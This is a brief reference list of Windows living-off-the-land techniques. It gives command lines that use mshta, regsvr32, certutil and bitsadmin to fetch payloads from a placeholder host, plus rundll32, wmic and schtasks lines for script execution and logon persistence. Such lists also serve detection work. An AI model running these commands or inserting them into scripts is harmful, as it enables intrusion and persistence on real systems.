Living-off-the-land binary references:

mshta.exe https://example.com/payload.hta

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

certutil.exe -urlcache -split -f http://example.com/file.exe payload.exe

bitsadmin /transfer myDownloadJob /priority high http://example.com/file.exe C:\temp\file.exe

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...")

wmic process call create "cmd.exe /c payload.bat"

schtasks /create /tn "UpdateTask" /tr C:\temp\payload.exe /sc onlogon